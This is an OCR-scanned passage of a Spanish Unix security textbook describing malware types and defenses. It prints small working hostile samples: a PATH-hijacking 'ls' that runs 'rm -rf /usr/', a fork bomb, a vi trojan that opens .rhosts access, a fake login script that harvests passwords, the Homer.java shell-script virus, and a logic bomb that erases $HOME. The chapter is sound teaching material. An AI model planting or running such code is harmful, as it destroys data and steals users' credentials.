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incluye evidentemente directories como /tmp/, pero tambien otro que a primera vista puede no 
tener mucho sentido: el directorio actual, ‘ . Imaginemos la siguiente situation: el root de un 

sistema Unix tiene incluido en su variable $PATH el directorio actual como uno mas donde buscar 
ejecutables; esto es algo muy habitual por cuestiones de comodidad. Por ejemplo, la variable de 
entorno puede tener el siguiente contenido: 

anita: ~# echo $PATH 

. : / sbin : /usr/sbin : /bin : /usr/bin : / usr/local/sbin : /usr/local/ sbin : 

/usr/ dt/bin : /usr/ openwin/bin : /usr/share/ texmf /bin 
anita: ~# 

Si este administrador desea comprobar el contenido del directorio /tmp/, o el de $HOME de alguno 
de sus usuarios (recorclemos, directories donde pueden escribir), seguramente ira a dicho directorio 
y ejecutara un simple Is. Pero, /que sucede si el ‘ . ’ esta en primer lugar en la variable SPATH7 
El shell buscara en primer lugar en el directorio actual, por ejemplo /tmp/, de forma que si ahf 
existe un ejecutable denominado ‘ Is ’ , se ejecutara sin mas: teniendo en cuenta que cualquiera 
puede escribir en el directorio, ese programa puede tener el siguiente contenido: 

anita: ~# cat /tmp/ls 
# ! /bin/ sh 
rm -rf /usr/ & 
anita: ~# 

Como podemos ver, un inocente ‘Is' puede destruir parte del sistema de ficheros - o todo -, sim- 
plemente porque el administrador no ha tenido la precaution de eliminar de su $PATH directories 
donde los usuarios puedan escribir. 

Seguramente alguien encontrara una solution - falsa - a este problema: si la cuestion reside en 
el orden de busqueda, /por que no poner el directorio actual al final del SPATH , depues de todos 
los directories fiables? De esta forma, el programa . /Is no se ejecutara nunca, ya que antes el shell 
va a encontrar con toda seguridad al programa legitimo, /bin/ls. Evidentemente esto es asf, pero 
es facil comprobar que el problema persiste: imaginemos que estamos en esa situation, y ahora 
tecleamos en /tmp/ la orden ls|more. No ocurrira nada anormal, ya que tanto 'Is’ como 'more 1 
son programas que el shell ejecutara antes de analizar ‘ . Pero, /que pasaria si nos equivocamos 
al teclear, y en lugar de 'more 1 escribimos ‘moer’? Al fin y al cabo, no es un ejemplo tan rebus- 
cado, esto seguramente le ha pasado a cualquier usuario de Unix; si esto ocurre asf, el interprete de 
ordenes no encontrara ningun programa que se llame ‘moer’ en el SPATH , por lo que se generara 
un mensaje de error. . . /Ninguno? /Y si un usuario ha creado /tmp/moer, con un contenido similar 
al /tmp/ls anterior? De nuevo nos encontramos ante el mismo problema: una orden tan inocente 
como esta puede afectar gravemente a la integridad de nuestras maquinas. Visto esto, parece claro 
que bajo ningun concepto se ha de tener un directorio en el que los usuarios puedan escribir, ni 
siquiera el directorio actual (‘ . ’) en la variable SPATH. 

5.4.1 Virus 

Un virus es una secuencia de codigo que se inserta en un fichero ejecutable denominado host, de 
forma que al ejecutar el programa tambien se ejecuta el virus; generalmente esta ejecucion implica 
la copia del codigo viral - o una modification del mismo - en otros programas. El virus necesita 
obligatoriamente un programa donde insertarse para poderse ejecutar, por lo que no se puede con- 
siderar un programa o proceso independiente. 

Durante anos, un debate tfpico entre la comunidad de la seguridad informatica es la existencia 
de virus en Unix ([Rad92], [Rad93], [Rad95]. . .). /Existen virus en este entorno, o por el contra- 
rio son un producto de otros sistemas en los que el concepto de seguridad se pierde? Realmente 
existen virus sobre plataformas Unix capaces de reproducirse e infectar ficheros, tanto ELF como 
shellscripts: ya en 1983 Fred Cohen diseno un virus que se ejecutaba con exito sobre Unix en una 
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VAX 11-750 ([Coh84]); anos mas tarde, en artfculos como [Duf89] o [McI89] se ha mostrado incluso 
el codigo necesario para la infection. 

Parece claro que la existencia de virus en Unix es algo sobradamente comprobado; entonces, ^donde 
esta el debate? La discusion se centra en hasta que punto un virus para Unix puede comprometer 
la seguridad del sistema; generalmente, la existencia de estos virus y sus efectos no suelen ser muy 
perjudiciales en los sistemas Unix de hoy en dfa. Se suele tratar de codigo escrito unicamente co- 
mo curiosidad cientifica, ya que cualquier action que realice un virus es en general mas facilmente 
realizable por otros medios como un simple exploit ; de hecho, uno de los primeros virus para Unix 
(en terminos puristas se podrfa considerar un troyano mas que un virus) fue creado por uno de 
los propios disenadores del sistema operativo, Ken Thompson ([Tho84]), con el fin no de daiiar al 
sistema, sino de mostrar hasta que punto se puede confiar en el software de una maquina. 

5.4.2 Gusanos 

El termino gusano, acunado en 1975 en la obra de ciencia fiction de John Brunner The Shockwave 
Rider hace referencia a programas capaces de viajar por sf mismos a traves de redes de computa- 
dores para realizar cualquier actividad una vez alcanzada una maquina; aunque esta actividad no 
tiene por que entranar peligro, los gusanos pueden instalar en el sistema alcanzado un virus, atacar 
a este sistema como haria un intruso, o simplemente consumir excesivas cantidades de ancho de 
banda en la red afectada. Aunque se trata de malware muchisimo menos habitual que por ejemplo 
los virus o las puertas traseras, ya que escribir un gusano peligroso es una tarea muy diffcil, los 
gusanos son una de las amenazas que potencialmente puede causar mayores daiios: no debemos 
olvidar que el mayor incidente de seguridad de la historia de Unix e Internet fue a causa de un 
gusano (el famoso Worm de 1988). 

Antes del Worm de Robert T. Morris existieron otros gusanos con fines muy diferentes; a prin- 
cipios de los setenta Bob Thomas escribio lo que muchos consideran el primer gusano informatico. 
Este programa, denominado ‘creeper’, no era ni mucho menos malware, sino que era utilizado 
en los aeropuertos por los controladores aereos para notificar que el control de cleterminado avion 
habfa pasado de un ordenador a otro. Otros ejemplos de gusanos utiles fueron los desarrollados 
a principios de los ochenta por John Shoch y Jon Hupp, del centro de investigation de Xerox en 
Palo Alto, California; estos worms se cledicaron a tareas como el intercambio de mensajes entre 
sistemas o el aprovechamiento de recursos ociosos durante la noche ([SH82]). Todo funcionaba 
aparentemente bien, hasta que una rnanana al llegar al centro ningun ordenador funciono debido a 
un error en uno de los gusanos; al reiniciar los sistemas, inmediatamente volvieron a fallar porque 
el gusano segufa trabajando, por lo que fue necesario disehar una vacuna. Este es considerado el 
primer incidente de seguridad en el que entraban worms en juego. 

Sin embargo, no fue hasta 1988 cuando se produjo el primer incidente de seguridad ‘serio’ provocado 
por un gusano, que a la larga se ha convertido en el primer problema de seguridad informatica que 
salto a los medios ([Mar88a], [Mar88b], [Roy88]...) y tambien en el mas grave - civil, al menos 
de todos los tiempos. El 2 de noviembre de ese aho, Robert T. Morris salto a la fama cuando 
uno de sus programas se convirtio en ‘el Gusano’ con mayusculas, en el Worm de Internet. La 
principal causa del problema fue la filosoffa ‘Security through Obscurity ’ que muchos aun defienden 
hoy en dfa: este joven estudiante era hijo del prestigioso cientffico Robert Morris, experto en Unix 
y seguridad - entre otros lugares, ha trabajado por ejemplo para el National Computer Security 
Center estadounidense quien conocfa perfectamente uno de los muchos fallos en Sendmail. No 
hizo publico este fallo ni su solution, y su hijo aprovecho ese conocimiento para incorporarlo a su 
gusano (se puede leer parte de esta fascinante historia en [Sto89]). El Worm aprovechaba varias 
vulnerabilidades en programas como sendmail, fingerd, rsh y rexecd ( [See89] ) para acceder a 
un sistema, contaminarlo, y desde el seguir actuando hacia otras maquinas (en [Spa88], [ER89] o 
[Spa91a] se pueden encontrar detalles concretos del funcionamiento de este gusano). En unas horas, 
miles de equipos conectados a la red dejaron de funcionar ([Spa89]), todos presentando una sobre- 
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carga de procesos sh (el nombre camuflado del gusano en los sistemas Unix); reiniciar el sistema 
no era ninguna solution, porque tras unos minutos de funcionamiento el sistema volvfa a presentar 
el mismo problema. 

Fueron necesarias muchas horas de trabajo para poder detener el Worm de Robert T. Morris; 
expertos de dos grandes universidades norteamericanas, el MIT y Berkeley, fueron capaces de 
desensamblar el codigo y proporcionar una solution al problema. Junto a ellos, cientos de adminis- 
tradores y programadores de todo el mundo colaboraron ininterrumpidamente durante varios dfas 
para analizar como se habian contaminado y cuales eran los efectos que el gusano habia causado en 
sus sistemas. El dia 8 de noviembre, casi una semana despues del ataque, expertos en seguridad de 
casi todos los ambitos de la vida estadounidense se reunieron para aclarar que es lo que paso exac- 
tamente, como se habia resuelto, cuales eran las consecuencias y como se podia evitar que sucediera 
algo parecido en el futuro; alii habia desde investigadores del MIT o Berkeley hasta miembros de la 
CIA, el Departamento de Energia o el Laboratorio de Investigation Balistica, pasando por supuesto 
por miembros del National Computer Security Center, organizador del evento. Esta reunion, y 
el incidente en si, marcaron un antes y un despues en la historia de la seguridad informatica; la 
sociedad en general y los investigadores en particular tomaron conciencia del grave problema que 
suponia un ataque de esa envergadura, y a partir de ahi comenzaron a surgir organizaciones como el 
CERT, encargadas de velar por la seguridad de los sistemas informaticos. Tambien se determinaron 
medidas de prevention que siguen vigentes hoy en dia, de forma que otros ataques de gusanos no 
liaii sido tan espectaculares: a finales de 1989 un gusano llamado wank, que a diferencia del de 
Morris era destructive, no tuvo ni de lejos las repercusiones que este. Desde entonces, no ha habido 
ninguna noticia importante - al menos publicada por el CERT - de gusanos en entornos Unix. 

5.4.3 Conejos 

Los conejos o bacterias son programas que de forma directa no dahan al sistema, sino que se limitan 
a reproducirse, generalmente de forma exponential, hasta que la cantidad de recursos consumidos 
(procesador, memoria, disco. . . ) se convierte en una negation de servicio para el sistema afectado. 
Por ejemplo, imaginemos una maquina Unix sin una quota de procesos establecida; cualquier usuario 
podria ejecutar un codigo como el siguiente: 

mainO { 

while (1) { 

malloc (1024) ; 
forkO ; 

> 

> 

Este programa reservaria un kilobyte de memoria y a continuation crearia una copia de el mismo; 
el programa original y la copia repetirian estas acciones, generando cuatro copias en memoria que 
volverian a hacer lo mismo. Asi, tras un intervalo de ejecucion, el codigo anterior consumiria toda 
la memoria del sistema, pudiendo provocar incluso su parada. 

La mejor forma de prevenir ataques de conejos (o simples errores en los programas, que hagan 
que estos consuman excesivos recursos) es utilizar las facilidades que los niicleos de cualquier Unix 
moderno ofrecen para limitar los recursos que un cleterminado proceso o usuario puede llegar a 
consumir en nuestro sistema; en el capitulo 9 se repasan algunos de los parametros necesarios para 
realizar esta tarea sobre diversos clones del sistema Unix. 

5.4.4 Caballos de Troya 

En el libro VIII de La Odisea de Homero se cuenta la historia de que los griegos, tras mucho tiempo 
de asedio a la ciudad de Troya, decidieron construir un gran caballo de madera en cuyo interior 
se escondieron unos cuantos soldados; el resto del ejercito griego abandono el asedio dejando alii 
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el caballo, y al clarse cuenta cle que el sitio a su ciudad habia acabado, los troyanos salieron a 
inspeccionar ese gran caballo de madera. Lo tomaron como una muestra de su victoria y lo intro- 
dujeron tras las murallas de la ciudad sin darse cuenta de lo que realmente habia en el. Cuando los 
troyanos estaban celebrando el fin del asedio, del interior del caballo salieron los soldados griegos, 
que abrieron las puertas de la ciudad al resto de su ejercito - que habia vuelto al lugar - y pudieron 
de esta forma conquistar la ciudad de Troya. 

De la misma forma que el antiguo caballo de Troya de la mitologia griega escondia en su interior 
algo que los troyanos desconocian, y que tenia una funcion muy diferente a la que ellos pensaban, un 
troyano o caballo de Troya actual es un programa que aparentemente realiza una funcion util para 
quien lo ejecuta, pero que en realidad - o aparte - realiza una funcion que el usuario desconoce, 
generalmente dahina. Por ejemplo, un usuario que posea el suficiente privilegio en el sistema puede 
renombrar el editor vi como vi .old, y crear un programa denominado vi como el siguiente: 

# ! /bin/ sh 

echo "++">$HQME/ .rhosts 
vi.old $1 

Si esto sucede, cuando alguien trate de editar un fichero automaticamente va a crear un fichero 
.rhosts en su directorio de usuario, que permitira a un atacante acceder de una forma sencilla al 
sistema utilizando las ordenes r-* de Unix BSD. 

Los troyanos son quizas el malware mas difundido en cualquier tipo de entorno ([KT97]), inclu- 
yendo por supuesto a Unix; sus variantes incluyen incluso ejemplos graciosos: ha habido casos en 
los que comenta un potencial problema de seguridad - real - en una lista de correo y se acompana 
la description de un shellscript que en principio aprovecha dicho problema para conseguir privile- 
gios de root. En ese exploit se ha incluido, convenientemente camuflada, una sentencia similar a la 
siguiente: 

echo "A’p gr4ibf t2 hLcM ueem"|tr Ae4Lpbf2gumM Ioyamngotrtk I mail \ 

-s "‘echo "A’p gr4ibf t2 hLcM ueem'Mtr Ae4Lpbf2gumM Ioyamngotrtk 1 " root 

De esta forma, cuando un script kiddie ejecute el programa para conseguir privilegios en el sistema, 
sin darse cuenta automaticamente lo estara notificando al administrador del mismo; evidentemente 
el exploit suele ser falso y no da ningun privilegio adicional, simplemente sirve para que el root sepa 
que usuarios estan ‘jugando’ con la seguridad de sus maquinas. 

Por desgracia, estos troyanos inofensivos no son los mas comunes; existen tambien ejemplos de 
caballos de Troya dahinos: sin cluda el ejemplo tfpico de troyano (tan tipico que ha recibido un 
nombre especial: trojan mule o mula de Troya ([Tom94])) es el falso programa de login. Nada 
mas encender una terminal de una maquina Unix aparece el clasico mensaje ‘login: ’ solicitando 
nuestro nombre de usuario y contrasena, datos que con toda seguridad la persona que enciende este 
dispositivo tecleara para poder acceder al sistema. Pero, /que sucederfa si el programa que imprime 
el mensaje en pant alia es un troyano? Cualquier usuario del sistema puede crear un codigo que 
muestre un mensaje similar, guarde la information leida de teclado (el login y el password ) e invoque 
despues al programa login original; tras la primera lectura, se mostrara el tambien clasico mensaje 
‘ Login incorrect’, de forma que el usuario pensara que ha tecleado mal sus datos - nada extraho, 
al fin y al cabo -. Cuando el programa original se ejecute, se permitira el acceso al sistema y ese 
usuario no habra notado nada anormal, pero alguien acaba de registrar su login y su contrasena. 
Un troyano de este tipo es tan sencillo que se puede hacer de forma simplificada - en unas pocas 
lfneas de shellscript: 

luisa:~$ cat trojan 
clear 

printf "‘uname -n‘ login: " 
read login 
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stty -echonl -echo 
printf "Password: " 
read pass 

echo "$login : $pass" >>/tmp/ . claves 
printf "\nLogin incorrect" 
echo 

exec /bin/login 
luisa: ~$ 

El atacante no necesita mas que dejar lanzado el programa en varias terminales del sistema y es- 
perar tranquilamente a que los usuarios vayan tecleando sus logins y passwords , que se guardaran 
en /tmp/ . claves; evidentemente este ejemplo de troyano es muy simple, pero es suficiente para 
hacernos una idea del perjuicio que estos programas pueden producir en una maquina Unix. En 
los riltimos ahos han aparecido caballos de Troya mucho mas elaborados en diversas utilidades de 
Unix, incluso en aplicaciones relacionadas con la seguridad como TCP Wrappers; en [CER99] se 
pueden encontrar referencias a algunos de ellos. 

La forma mas facil de descubrir caballos de Troya (aparte de sufrir sus efectos una vez activa- 
do) es comparar los ficheros bajo sospecha con una copia de los originates, copia que evidentemente 
se ha de haber efectuado antes de poner el sistema en funcionamiento y clebe haber sido guardada 
en un lugar seguro, para evitar asi que el atacante modifique tambien la version de nuestro bac- 
kup. Tambien es recomendable - como sucede con el resto de malware - realizar resumenes md5 de 
nuestros programas y compararlos con los resumenes originates; esto, que muchas veces es ignorado, 
puede ser una excelente solution para prevenir la amenaza de los caballos de Troya. 

5.4.5 Applets hostiles 

En los ultimos ahos, con la proliferation de la web , Java y Javascript, una nueva forma de malware 
se ha hecho popular. Se trata de los denominados applets hostiles, applets que al ser descargados 
intentan monopolizar o explotar los recursos del sistema de una forma inapropiada ([MF96]); esto 
incluye desde ataques clasicos como negaciones de servicio o ejecucion remota de programas en la 
maquina cliente hasta amenazas mucho mas elaboradas, como difusion de virus, ruptura logica de 
cortafuegos o utilization de recursos remotos para grandes calculos cientfficos. 

Como ejemplo de applet hostil - aunque este en concreto no es muy peligroso - tenemos el si- 
guiente codigo, obra de Mark D. LaDue (1996): 

anita: '/Security# cat Homer. java 
import java.io.*; 

class Homer { 

public static void main (String [] argv) { 
try { 

String userHome = System. getProperty ( "user .home") ; 

String target = "$H0ME"; 

FileOutputStream outer = new 

FileOutputStream (userHome + "/. homer. sh") ; 

String homer = "#!/bin/sh" + "\n" + + "\n" + 

"echo \"Java is safe, and UNIX viruses do not exist. \"" + "\n" + 

"for file in 'find " + target + " -type f -print'" + "\n" + "do" + 
"\n" + " case V'sed lq $file'\" in" + "\n" + 

" \"# ! /bin/sh\" ) grep $file > /dev/null" + 

" I I sed -n V#-_/,$p ; $0 » $file" + "\n" + 

" esac" + "\n" + "done" + "\n" + 

"2>/dev/null" ; 
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byte[] buffer = new byte [homer . length ()] ; 
homer . getBytes (0 , homer . length () , buffer, 0); 
outer . write (buff er) ; 
outer . close () ; 

Process chmod = Runtime. getRuntimeO .exec("/usr/bin/chmod 777 " + 
userHome + "/. homer. sh") ; 

Process exec = Runtime. getRuntimeO . exec (" /bin/ sh " + userHome + 

"/ .homer . sh") ; 

} catch (IOException ioe) O 

> 

> 

anita: '/Security# 

Este programa infecta los sistemas Unix con un virus que contamina ficheros shellscript; antes de 
hacerlo muestra el mensaje ‘Java is safe, and UNIX viruses do not exist’, para despues localizar 
todos los ficheros shell en el directorio $HOME, comprobar cuales estan infectados, e infectar los 
que no lo estan. 

Aunque en un principio no se tomo muy en serio el problema de los applets hostiles, poco tiempo 
despues la propia Sun Microsystems reconocio la problematica asociada y se puso a trabajar para 
minimizar los potenciales efectos de estos applets; principalmente se han centrado esfuerzos en con- 
trolar la cantidad de recursos consumidos por un programa y en proporcionar las clases necesarias 
para que los propios navegadores monitoricen los applets ejecutados. No obstante, aunque se solu- 
cionen los problemas de seguridad en el codigo, es probable que se puedan seguir utilizando applets 
como una forma de ataque a los sistemas: mientras que estos programas puedan realizar conexiones 
por red, no habran clesaparecido los problemas. 

5.4.6 Bombas logicas 

Las bombas logicas son en cierta forma similares a los troyanos: se trata de codigo insertado 
en programas que parecen realizar cierta action util. Pero mientras que un troyano se ejecuta 
cada vez que se ejecuta el programa que lo contiene, una bomba logica solo se activa bajo ciertas 
condiciones, como una determinada fecha, la existencia de un fichero con un nombre dado, o el 
alcance de cierto numero de ejecuciones del programa que contiene la bomba; asf, una bomba logica 
puede permanecer inactiva en el sistema durante mucho tiempo sin activarse y por tanto sin que 
nadie note un funcionamiento anomalo hasta que el dano producido por la bomba ya esta hecho. 
Por ejemplo, imaginemos la misma situation que antes vefamos para el troyano: alguien con el 
suficiente privilegio renombra a vi como vi . old, y en el lugar del editor situa el siguiente codigo: 

# ! /bin/ sh 

if [ ‘date +“/ 0 a‘ = "Sun" ] ; 
then 

rm -rf $H0ME 

else 

vi.old $1 
fi 

Este cambio en el sistema puede permanecer durante ahos 4 sin que se produzca un funcionamiento 
anomalo, siempre y cuando nadie edite ficheros un domingo; pero en el momento en que un usuario 
decida trabajar este dia, la bomba logica se va a activar y el directorio de este usuario sera borrado. 

5.4.7 Canales ocultos 

Segiin [B + 88] un canal oculto es un cauce de comunicacion que permite a un proceso receptor y a 
un emisor intercambiar information de forma que viole la polftica de seguridad del sistema; esen- 

4 Obviamente, si esto es asf, denota una escasa preocupacion por la seguridad en ese sistema. 
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cialmente se trata de un metodo de comunicacion que no es parte del diseno original del sistema 
pero que puede utilizarse para transferir informacion a un proceso o usuario que a priori no estarfa 
autorizado a acceder a dicha informacion. Los canales ocultos existen solamente en sistemas con 
seguridad multinivel ([PN92]), aquellos que contienen y manejan informacion con diferentes niveles 
de sensibilidad, de forma que se permite acceder simultaneamente a varios usuarios a dicha informa- 
cion pero con diferentes puntos de vista de la misma, en funcion de sus privilegios y sus necesidades 
de conocimiento ( needs to know). El concepto de canal oculto fue introducido en 1973, en [Lam73], 
y clesde entonces muchos han sido los estudios realizados sobre este metodo de ataque, que afecta 
especialmente a sistemas en los que el aspecto mas importante de la seguridad es la privacidad de 
los datos (por ejemplo, los militares). 

Generalmente se suelen clasificar los canales cubiertos en funcion de varios aspectos ([G + 93]): 

• Escenario 

Cuando se construyen escenarios de canales cubiertos generalmente se suele diferenciar entre 
canales cubiertos de almacenamiento y de temporizacion ([Lip75]). Los primeros son 
canales en los que se utiliza la escritura directa o indirecta de datos por parte de un proceso y 
la lectura - tambien directa o indirecta - de esos datos por parte de otro; generalmente utilizan 
un recurso finito del sistema, como bloques de disco, que se comparte entre entidades con 
diferentes privilegios. Por contra, los canales ocultos de temporizacion utilizan la modulation 
de ciertos recursos, como el tiempo de CPU, para intercambiar la informacion entre procesos. 
En [G + 93] se pueden encontrar ejemplos de ambos tipos de canales ocultos; otro buen ejemplo 
de covert channel se encuentra en [McH95] . 


• Ruido 

Como cualquier canal de comunicacion, oculto o no, los canales cubiertos pueden ser ruidosos 
o inmunes al ruido; idealmente, un canal inmune al ruido es aquel en que la probabilidad 
de que el receptor escuche exactamente lo que el emisor ha transmitido es 1: sin importar 
factores externos, no hay interferencias en la transmision. Evidentemente, en la practica es 
muy dificil conseguir estos canales tan perfectos, por lo que es habitual aplicar codigos de 
correction de errores aunque estos reduzcan el ancho de banda del canal. 


• Flujos de informacion 

De la misma forma que en las lineas convencionales de transmision de datos se aplican tecnicas 
(multiplexacion en el tiempo, multiplexacion en frecuencia. . . ) para maximizar el ancho de 
banda efectivo, en los canales cubiertos se puede hacer algo parecido. A los canales en los que 
se transmiten varios flujos de informacion entre emisor y receptor se les denomina agregados, 
y dependiendo de como se inicialicen, lean y reseteen las variables enviadas podemos hablar 
de agregacion serie, paralela o hibrida; los canales con un unico flujo de informacion se llaman 
no agregados. 

La preocupacion por la presencia de canales ocultos es, como hemos dicho, habitual en sistemas 
de alta seguridad como los militares; de hecho, muchos de los estudios sobre ataques basados en 
canales cubiertos y su prevention han sido - y son realizados por las clasicas agencias guberna- 
mentales y militares estadounidenses ( National Security Agency, US Air Force, National Computer 
Security Center. . . ). No obstante, tambien en entornos mas ‘normales’ es posible la existencia de 
canales ocultos, especialmente aprovechando debilidades de la pila de protocolos TCP/IP ([Rou96], 
[Row96]. . . ). 

El analisis y detection canales cubiertos es una tarea complicada que generalmente se basa en 
complejos modelos formales y matematicos ([Wra91b], [MK94]...); diversas aproximaciones son 
utilizadas para el estudio de canales de temporizacion ([Hu91], [Wra91a]. . . ), y tambien para el de 
canales de almacenamiento ([PK91]). 
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Las puertas traseras son trozos cle codigo en un programa que permiten a quien conoce su funcio- 
namiento saltarse los metodos usuales de autenticacion para realizar cierta tarea. Habitualmente 
son insertados por los programadores para agilizar la tarea de probar su codigo durante la fase de 
desarrollo del mismo y se eliminan en el producto final, pero en ciertas situaciones el programador 
puede mantener estas puertas traseras en el programa funcional, ya sea deliberada o involunta- 
riamente. Por ejemplo, imaginemos una aplicacion que para realizar cualquier tarea de seguridad 
solicita a quien lo ejecuta cinco claves diferentes; evidentemente, durante la fase de desarrollo es 
muy incomodo para el programador teclear estas contrasenas antes de ver si el producto funciona 
correctamente, por lo que es muy coiriun que esta persona decida incluir una rutina en el codigo de 
forma que si la primera clave proporcionada es una determinada no se soliciten las cuatro restantes. 
Esta situation, aceptable durante la fase de desarrollo, se convierte en una amenaza a la seguridad 
si se mantiene una vez el producto esta instalado en un sistema real: cualquiera que conozca la 
clave initial puede saltarse todo el mecanismo de protection del programa. 

Aparte de puertas traseras en los programas, es posible - y tfpico - situar puertas traseras en 
ciertos ficheros vitales para el sistema; generalmente, cuando un atacante consigue acceso a una 
maquina Unix desea mantener ese acceso aunque su penetration sea detectada. Por ejemplo, algo 
muy habitual es ahadir un usuario con UID 0 en el fichero de claves, de forma que el pirata pueda 
seguir accediendo al sistema con ese nuevo login aunque el administrador cierre la puerta que antes 
habfa utilizado para entrar. Tambien es clasico ahadir un nuevo servicio en un puerto no utiliza- 
do, de forma que haciendo telnet a ese numero de puerto se abra un shell con privilegios de root, 
incluso muchos atacantes utilizan la facilidad cron para chequear periodicamente estos archivos e 
insertar las puertas traseras de nuevo en caso de que hayan sido borradas. iQue hacer para evitar 
estos ataques? La prevention pasa por comprobar periodicamente la integridad de los archivos mas 
importantes (ficheros de contrasenas, spoolers, configuration de la red, programas del arranque de 
maquina. . . ) ; tambien es conveniente rastrear la existencia de nuevos archivos setuidados que pue- 
dan ‘aparecer’ en los sistemas de ficheros: cualquier nuevo programa de estas caracterfsticas suele 
indicar un ataque exitoso, y una puerta trasera - generalmente un shell setuidado - colocada en 
nuestra maquina. Los mas paranoicos no deben olvidar efectuar una busqueda bajo los dispositi- 
vos montados (existen utilidades para hacerlo), ya que un find normal no suele encontrar ficheros 
setuidados que se guarden en un directorio que es a su vez punto de montaje para otra unidad. 


5.4.9 Superzapping 

Este problema de seguridad deriva su nombre del programa superzap, una utilidad de los antiguos 
mainframes de IBM que permitia a quien lo ejecutaba pasar por alto todos los controles de segu- 
ridad para realizar cierta tarea administrativa, presumiblemente urgente; se trataba de un ‘Rompa 
el cristal en caso de emergencia ’ que estos sistemas poseian, o de una Have maestra capaz de abrir 
todas las puertas. Obviamente, el problema sucede cuando la Have se piercle y un atacante la utiliza 
en beneficio propio. 

Como es normal, este tipo de programas no suele encontrarse en los sistemas modernos por los 
graves problemas de seguridad que su existencia implica: imaginemos un shell setuidado como 
root y guardado en /tmp/, de forma que si el sistema funciona anomalamente cualquiera puede 
ejecutarlo para solucionar el posible problema. Parece obvio que para un atacante seria un gran 
avance disponer de esta herramienta. De cualquier forma, no es habitual clasificar a los programas 
superzap como malware, ya que en principio se trata de aplicaciones legitimas, incluso necesarias 
en determinadas situaciones; es, como sucede en muchos casos, su mal uso y no el programa en sf 
lo que constituye una amenaza a la seguridad. 

El ejemplo tfpico ([ISV95], [Par81]. . . ) de problemas derivados del superzapping es un caso ocurrido 
en Nueva Jersey que causo la perdida de 128.000 dolares de los anos setenta. El operador de un 



82 


CAPITULO 5. PROGRAMAS SEGUROS , INSEGUROS Y NOCIVOS 

sistema bancario estaba utilizando un programa superzap para corregir balances en el estado de las 
cuentas cuando un error simple le demostro lo facil que podia modificar registros sin que el sistema 
de auditoria lo detectara; aprovecho esta situacion para transferir dinero a tres cuentas, y dado que 
no dejo huellas la unica forma de detectar el fraude fue la rapida reaction del banco ante la queja 
de un usuario - y un exhaustivo analisis del estado de todas las cuentas. 

5.4.10 Programas salami 

Las tecnicas salami se utilizan para desviar pequenas cantidades de bienes - generalmente dinero 
de una fuente con un gran cantidad de los mismos; de la misma forma que de un salami se 
cortan pequenas rodajas sin que el total sufra una reduction considerable, un programa salami 
roba pequenas cantidades de dinero, de forma que su action pasa inadvertida. Aunque su efecto 
es especialmente grave en entornos bancarios y no en sistemas habituales, en este trabajo vamos 
a hablar brevemente de los programas salami ya que se pueden utilizar para atacar equipos Unix 
dedicados a operaciones financieras, como la gestion de nominas de personal o la asignacion de becas. 

El principal problema de los programas salami es que son extremadamente dificiles de detectar, 
y solo una compleja auditoria de cuentas puede sacar a la luz estos fraudes. Si un programador 
es lo suficientemente inteligente como para insertar malware de este tipo en los sistemas de un 
banco para el cual trabaja (si se tratara de un atacante externo la probabilidad de ataque seria casi 
despreciable), seguramente conoce a la perfection todos los entresijos de dicho banco, de forma que 
no le sera dificil desviar fondos a cuentas que no son la suya, comprobar si se sobrepasa un cierto 
umbral en dichas cuentas - umbral a partir del cual el banco ‘se interesaria’ por el propietario de 
la cuenta - o incluso utilizar nombres falsos o cuentas externas a las que desviar el dinero. Contra 
esto, una de las pocas soluciones consiste en vigilar de cerca las cuentas de los empleados y sus 
allegados, asi como estar atentos a posibles cambios en su modo de vida: un coche de lujo de una 
persona con un sueldo normal, viajes caros, demasiadas ostentaciones. . . pueden ser signo de un 
fraude; evidentemente, es necesario consultar con un gabinete juridico la legalidad o ilegalidad de 
estas acciones, que pueden constituir una invasion a la privacidad del trabajador. Por supuesto, la 
solution ideal seria comprobar linea a linea todo el software del banco, pero pocos auditores tienen 
los conocimientos - y la paciencia - suficientes para realizar esta tarea. 

Un caso particular de programa salami lo constituyen los programas de redondeo hacia abajo o 
round down. Este fraude consiste en aprovechar calculos de los sistemas bancarios que obtienen 
cantidades de dinero mas pequenas que la moneda de menor valor (en el caso de Espafia, cantidades 
de centimos); por ejemplo, imaginemos que alguien tiene ingresadas 123.523 pesetas a un interes 
del 2’5%; los creditos le reditaran un total de 3088’075 pesetas, que automaticamente para el banco 
se transformaran en 3088. Si esos 7’5 centimos se acumulan en otro calculo con cantidades igual de 
despreciables, se llegara tarde o temprano a un punto en el que la cantidad total de dinero sea lo 
suficientemente apetecible para un atacante dispuesto a aprovechar la situacion. Si pensamos que 
millones de estos calculos se realizan diariamente en todos los bancos de Espafia, podemos hacernos 
una idea del poco tiempo que tardara la cuenta de un pirata en llenarse. 


5.5 Programacion segura 

Parece obvio que despues de analizar los problemas que un codigo malicioso o simplemente mal di- 
sehado puede causar, dediquemos un apartado a comentar brevemente algunos aspectos a tener en 
cuenta a la hora de crear programas seguros. Vamos a hablar de programacion en C, obviamente por 
ser el lenguaje mas utilizado en Unix; para aquellos interesados en la seguridad de otros lenguajes 
que tambien se utilizan en entornos Unix, existen numerosos articulos que hablan de la programa- 
cion segura - e insegura - en lenguajes que van desde Java ([MS98], [DFW96], [Gal96b]. . . ) a SQL 
([PB93]). 
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El principal problema cle la programacion en Unix lo constituyen los programas setuidados; si 
un programa sin este bit activo tiene un fallo, lo normal es que ese fallo solamente afecte a quien 
lo ejecuta. A1 tratarse de un error de programacion, algo no intencionado, su primera consecuencia 
sera el mal funcionamiento de ese programa. Este esquema cambia radicalmente cuando el progra- 
ma esta setuidado: en este caso, el error puede comprometer tanto a quien lo ejecuta como a su 
propietario, y como ese propietario es por norma general el root automaticamente se compromete 
a todo el sistema. Para la codification segura de este tipo de programas, [Bis86] proporciona unas 
lineas basicas: 

• Maximas restricciones a la hora de elegir el UID y el GID. 

Una medida de seguridad basica que todo administrador de sistemas Unix ha de seguir es 
realizar todas las tareas con el minimo privilegio que estas requieran ([Sim90]); asi, a nadie 
se le ocurre (o se le cleberfa ocurrir) conectar a IRC o aprender a manejar una aplicacion 
generica bajo la identidad de root. Esto es directamente aplicable a la hora de programar: 
cuando se crea un programa setuidado (o setgidado) se le ha de asignar tanto el UID como el 
GID menos peligroso para el sistema. Por ejemplo, si un programa servidor se limita a mostrar 
un mensaje en pantalla y ademas escucha en un puerto por encima de 1024, no necesita para 
nada estar setuidado a nombre de root (realmente, es poco probable que ni siquiera necesite 
estar setuidado ); si pensamos en un posible error en dicho programa que permita a un atacante 
obtener un shell vemos claramente que cuanto menos privilegio tenga el proceso, menos malas 
seran las posibles consecuencias de tal error. 

